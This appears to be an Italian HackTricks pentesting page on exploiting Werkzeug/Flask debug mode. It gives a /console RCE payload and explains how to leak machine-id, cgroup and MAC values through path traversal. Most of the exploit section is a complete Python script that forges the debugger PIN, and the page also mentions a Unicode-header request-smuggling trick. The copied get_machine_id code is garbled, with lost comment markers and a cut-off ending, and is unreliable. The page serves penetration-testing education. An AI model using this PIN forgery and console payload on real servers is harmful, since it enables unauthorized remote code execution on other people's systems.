Werkzeug / Flask Debug

Supporta HackTricks

Setup disponibile istantaneamente per valutazione delle vulnerabilità e penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per dare loro più tempo per approfondire, aprire shell e divertirsi.

Console RCE

Se il debug è attivo, potresti provare ad accedere a /console e ottenere RCE.

__import__('os').popen('whoami').read();

Ci sono anche diversi exploit su internet come questo o uno in metasploit.

Protetto da PIN - Traversata del Percorso

In alcune occasioni, l'endpoint /console sarà protetto da un pin. Se hai una vulnerabilità di traversata del file, puoi leakare tutte le informazioni necessarie per generare quel pin.

Exploit del PIN della Console Werkzeug

Forza una pagina di errore di debug nell'app per vedere questo:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un messaggio riguardante lo scenario "console bloccata" viene visualizzato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (__init__.py). Il meccanismo di generazione del PIN può essere studiato dal repository del codice sorgente di Werkzeug, anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilità di traversamento di file a causa di potenziali discrepanze di versione.

Per sfruttare il PIN della console, sono necessari due set di variabili, probably_public_bits e private_bits:

probably_public_bits

  • username: Si riferisce all'utente che ha avviato la sessione Flask.

  • modname: Di solito designato come flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Si risolve generalmente in Flask.

  • getattr(mod, '__file__', None): Rappresenta il percorso completo a app.py all'interno della directory Flask (ad es., /usr/local/lib/python3.5/dist-packages/flask/app.py). Se app.py non è applicabile, provare app.pyc.

private_bits

  • uuid.getnode(): Recupera l'indirizzo MAC della macchina corrente, con str(uuid.getnode()) che lo traduce in un formato decimale.

  • Per determinare l'indirizzo MAC del server, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad es., ens3). In caso di incertezze, leak /proc/net/arp per trovare l'ID del dispositivo, quindi estrarre l'indirizzo MAC da /sys/class/net/<device id>/address.

  • La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:

# Esempio di indirizzo MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Concatenando i dati da /etc/machine-id o /proc/sys/kernel/random/boot_id con la prima riga di /proc/self/cgroup dopo l'ultima barra (/).

Codice per `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug:

Dopo aver raccolto tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug. Lo script utilizza i `probably_public_bits` e `private_bits` assemblati per creare un hash, che poi subisce ulteriori elaborazioni per produrre il PIN finale. Di seguito è riportato il codice Python per eseguire questo processo:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (cookiesalt e pinsalt), e formattando l'output. È importante notare che i valori effettivi per probably_public_bits e private_bits devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.

Se sei su una vecchia versione di Werkzeug, prova a cambiare l'algoritmo di hashing in md5 invece di sha1.

Caratteri Unicode di Werkzeug

Come osservato in questo problema, Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in questo writeup, questo potrebbe causare una vulnerabilità di CL.0 Request Smuggling.

Questo perché, in Werkzeug è possibile inviare alcuni caratteri Unicode e questo farà rompere il server. Tuttavia, se la connessione HTTP è stata creata con l'header Connection: keep-alive, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il corpo della richiesta sarà trattato come la prossima richiesta HTTP.

Sfruttamento Automatizzato

Riferimenti

Setup immediatamente disponibile per valutazione delle vulnerabilità e penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla reportistica. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento e sfruttamento per restituire loro del tempo per approfondire, aprire shell e divertirsi.

Last updated